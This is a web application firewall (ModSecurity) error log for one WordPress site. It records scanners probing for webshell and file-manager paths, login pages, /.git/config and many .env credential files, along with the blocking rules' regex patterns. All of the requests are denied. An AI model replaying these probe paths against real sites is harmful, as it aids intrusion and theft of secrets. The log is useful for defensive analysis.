[Wed Dec 03 08:21:07.334876 2025] [:error] [pid 22014:tid 22049] [client 146.70.192.164:58094] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aS-CcwgpXEQej7y9Y6YFugAAAQM"]
[Wed Dec 03 08:21:10.033016 2025] [:error] [pid 54695:tid 54716] [client 146.70.192.164:58108] [client 146.70.192.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.192.164, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aS-CdmrRT4nTHsfUu07KHgAAAVE"]
[Wed Dec 03 08:21:12.600215 2025] [:error] [pid 54695:tid 54720] [client 146.70.192.164:58108] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aS-CeGrRT4nTHsfUu07KKwAAAVU"]
[Wed Dec 03 08:21:14.160897 2025] [:error] [pid 24019:tid 24034] [client 146.70.192.164:1959] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aS-CepkVRhF9Pu1FX0PsDQAAAIw"]
[Wed Dec 03 08:21:15.037622 2025] [:error] [pid 22013:tid 22029] [client 146.70.192.164:51820] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aS-Ce4pUogO0aqsrpMV4sAAAAMo"]
[Wed Dec 03 08:21:17.710728 2025] [:error] [pid 22083:tid 22093] [client 146.70.192.164:64598] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aS-CfficvKZCy0M9-zyzfAAAAEg"]
[Wed Dec 03 08:21:18.225655 2025] [:error] [pid 22013:tid 22034] [client 146.70.192.164:51916] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aS-CfopUogO0aqsrpMV4tQAAAM8"]
[Wed Dec 03 08:21:19.921158 2025] [:error] [pid 21970:tid 21982] [client 146.70.192.164:51948] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aS-Cf2YwAeqEfyJIWdR5WgAAAAY"]
[Wed Dec 03 08:21:21.803494 2025] [:error] [pid 22083:tid 22107] [client 146.70.192.164:54432] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-atom.php"] [unique_id "aS-CgficvKZCy0M9-zyzjAAAAFY"]
[Wed Dec 03 08:21:23.213219 2025] [:error] [pid 24019:tid 24039] [client 146.70.192.164:54444] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aS-Cg5kVRhF9Pu1FX0PsNgAAAJE"]
[Wed Dec 03 08:21:23.746355 2025] [:error] [pid 22014:tid 22063] [client 146.70.192.164:49555] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aS-CgwgpXEQej7y9Y6YFzwAAARE"]
[Wed Dec 03 08:21:24.636628 2025] [:error] [pid 22013:tid 22025] [client 146.70.192.164:54466] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "aS-ChIpUogO0aqsrpMV4wgAAAMY"]
[Wed Dec 03 08:21:25.018728 2025] [:error] [pid 24019:tid 24026] [client 146.70.192.164:10184] [client 146.70.192.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 146.70.192.164, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aS-ChZkVRhF9Pu1FX0PsPAAAAIQ"]
[Wed Dec 03 08:21:25.518432 2025] [:error] [pid 24019:tid 24038] [client 146.70.192.164:10184] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/about.php"] [unique_id "aS-ChZkVRhF9Pu1FX0PsQAAAAJA"]
[Wed Dec 03 08:21:25.851508 2025] [:error] [pid 54695:tid 54720] [client 146.70.192.164:54484] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aS-ChWrRT4nTHsfUu07KOwAAAVU"]
[Wed Dec 03 08:21:26.291823 2025] [:error] [pid 21970:tid 21981] [client 146.70.192.164:20797] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aS-ChmYwAeqEfyJIWdR5aQAAAAU"]
[Wed Dec 03 08:21:27.093470 2025] [:error] [pid 22013:tid 22030] [client 146.70.192.164:54492] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aS-Ch4pUogO0aqsrpMV4zgAAAMs"]
[Wed Dec 03 08:21:29.123028 2025] [:error] [pid 54695:tid 54723] [client 146.70.192.164:46685] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aS-CiWrRT4nTHsfUu07KUwAAAVg"]
[Wed Dec 03 08:21:30.292526 2025] [:error] [pid 24019:tid 24031] [client 146.70.192.164:54506] [client 146.70.192.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/about.php"] [unique_id "aS-CipkVRhF9Pu1FX0PsfwAAAIk"]
[Wed Dec 03 08:52:59.490177 2025] [:error] [pid 22014:tid 22069] [client 165.227.121.227:53812] [client 165.227.121.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS-J6wgpXEQej7y9Y6YRJwAAARc"]
[Wed Dec 03 08:53:02.432365 2025] [:error] [pid 22083:tid 22105] [client 165.227.121.227:37660] [client 165.227.121.227] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS-J7vicvKZCy0M9-zy_BwAAAFQ"]
[Wed Dec 03 10:47:24.020306 2025] [:error] [pid 21970:tid 21990] [client 73.0.71.236:61025] [client 73.0.71.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 73.0.71.236, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aS-kvGYwAeqEfyJIWdSepQAAAA4"]
[Wed Dec 03 11:45:06.357666 2025] [:error] [pid 22083:tid 22100] [client 138.197.112.117:53946] [client 138.197.112.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.112.117, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aS-yQvicvKZCy0M9-zz1aAAAAE8"]
[Wed Dec 03 11:45:07.268476 2025] [:error] [pid 54695:tid 54703] [client 138.197.112.117:59289] [client 138.197.112.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.197.112.117, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aS-yQ2rRT4nTHsfUu079pwAAAUQ"]
[Wed Dec 03 12:48:50.754402 2025] [:error] [pid 24019:tid 24033] [client 54.146.27.112:34484] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_version.php"] [unique_id "aS_BMpkVRhF9Pu1FX0NrsAAAAIs"]
[Wed Dec 03 12:48:51.564478 2025] [:error] [pid 54695:tid 54701] [client 54.146.27.112:34658] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/serverinfo.php"] [unique_id "aS_BM2rRT4nTHsfUu04QMAAAAUI"]
[Wed Dec 03 12:48:52.375673 2025] [:error] [pid 21970:tid 21999] [client 54.146.27.112:34892] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/server.php"] [unique_id "aS_BNGYwAeqEfyJIWdS8swAAABc"]
[Wed Dec 03 12:48:53.187791 2025] [:error] [pid 22083:tid 22096] [client 54.146.27.112:35120] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/debug.php"] [unique_id "aS_BNficvKZCy0M9-zwMSwAAAEs"]
[Wed Dec 03 12:48:54.005105 2025] [:error] [pid 22014:tid 22059] [client 54.146.27.112:35382] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/diagnostic.php"] [unique_id "aS_BNggpXEQej7y9Y6ZaNQAAAQ0"]
[Wed Dec 03 12:48:54.816825 2025] [:error] [pid 22013:tid 22043] [client 54.146.27.112:35630] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phptest.php"] [unique_id "aS_BNopUogO0aqsrpMW9FAAAANg"]
[Wed Dec 03 12:48:55.628883 2025] [:error] [pid 21970:tid 21998] [client 54.146.27.112:35850] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/check.php"] [unique_id "aS_BN2YwAeqEfyJIWdS8twAAABY"]
[Wed Dec 03 12:48:56.440036 2025] [:error] [pid 64775:tid 64790] [client 54.146.27.112:36080] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/probe.php"] [unique_id "aS_BODCfrfdP2K_u39dqGQAAAY0"]
[Wed Dec 03 12:48:57.250071 2025] [:error] [pid 22013:tid 22029] [client 54.146.27.112:36304] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/_profiler/phpinfo"] [unique_id "aS_BOYpUogO0aqsrpMW9FQAAAMo"]
[Wed Dec 03 12:48:58.059656 2025] [:error] [pid 22013:tid 22031] [client 54.146.27.112:36516] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aS_BOopUogO0aqsrpMW9GAAAAMw"]
[Wed Dec 03 12:48:58.869176 2025] [:error] [pid 22014:tid 22067] [client 54.146.27.112:36758] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aS_BOggpXEQej7y9Y6ZaQQAAARU"]
[Wed Dec 03 12:48:59.683984 2025] [:error] [pid 54695:tid 54707] [client 54.146.27.112:37036] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "aS_BO2rRT4nTHsfUu04QPQAAAUg"]
[Wed Dec 03 12:49:00.494530 2025] [:error] [pid 21970:tid 21982] [client 54.146.27.112:37288] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aS_BPGYwAeqEfyJIWdS8ugAAAAY"]
[Wed Dec 03 12:49:01.304017 2025] [:error] [pid 22013:tid 22026] [client 54.146.27.112:37540] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "aS_BPYpUogO0aqsrpMW9HAAAAMc"]
[Wed Dec 03 12:49:02.117740 2025] [:error] [pid 21970:tid 21999] [client 54.146.27.112:37738] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info_php.php"] [unique_id "aS_BPmYwAeqEfyJIWdS8vQAAABc"]
[Wed Dec 03 12:49:02.927769 2025] [:error] [pid 22013:tid 22025] [client 54.146.27.112:37896] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php-info.php"] [unique_id "aS_BPopUogO0aqsrpMW9IgAAAMY"]
[Wed Dec 03 12:49:03.739107 2025] [:error] [pid 64775:tid 64801] [client 54.146.27.112:38090] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/infophp.php"] [unique_id "aS_BPzCfrfdP2K_u39dqJQAAAZg"]
[Wed Dec 03 12:49:04.549693 2025] [:error] [pid 54695:tid 54718] [client 54.146.27.112:38238] [client 54.146.27.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/testphp.php"] [unique_id "aS_BQGrRT4nTHsfUu04QQwAAAVM"]
[Wed Dec 03 12:49:05.359344 2025] [:error] [pid 24019:tid 24040] [client 54.146.27.112:38404] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aS_BQZkVRhF9Pu1FX0NrvgAAAJI"]
[Wed Dec 03 12:49:06.178622 2025] [:error] [pid 54695:tid 54710] [client 54.146.27.112:38530] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aS_BQmrRT4nTHsfUu04QSAAAAUs"]
[Wed Dec 03 12:49:06.988492 2025] [:error] [pid 22014:tid 22055] [client 54.146.27.112:38672] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aS_BQggpXEQej7y9Y6ZaSgAAAQk"]
[Wed Dec 03 12:49:07.800831 2025] [:error] [pid 21970:tid 21992] [client 54.146.27.112:38786] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aS_BQ2YwAeqEfyJIWdS8wAAAABA"]
[Wed Dec 03 12:49:08.610651 2025] [:error] [pid 22014:tid 22053] [client 54.146.27.112:38924] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aS_BRAgpXEQej7y9Y6ZaTwAAAQc"]
[Wed Dec 03 12:49:09.420279 2025] [:error] [pid 22014:tid 22057] [client 54.146.27.112:39156] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aS_BRQgpXEQej7y9Y6ZaUQAAAQs"]
[Wed Dec 03 12:49:10.232535 2025] [:error] [pid 11940:tid 11955] [client 54.146.27.112:39430] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aS_BRjcDdx05OuLeesMEwwAAAc0"]
[Wed Dec 03 12:49:11.045781 2025] [:error] [pid 22013:tid 22033] [client 54.146.27.112:39682] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aS_BR4pUogO0aqsrpMW9LQAAAM4"]
[Wed Dec 03 12:49:11.865383 2025] [:error] [pid 64775:tid 64791] [client 54.146.27.112:39908] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aS_BRzCfrfdP2K_u39dqKwAAAY4"]
[Wed Dec 03 12:49:12.679445 2025] [:error] [pid 21970:tid 22000] [client 54.146.27.112:40190] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.sample"] [unique_id "aS_BSGYwAeqEfyJIWdS8xgAAABg"]
[Wed Dec 03 12:49:13.492594 2025] [:error] [pid 22014:tid 22054] [client 54.146.27.112:40410] [client 54.146.27.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.old"] [unique_id "aS_BSQgpXEQej7y9Y6ZaVwAAAQg"]
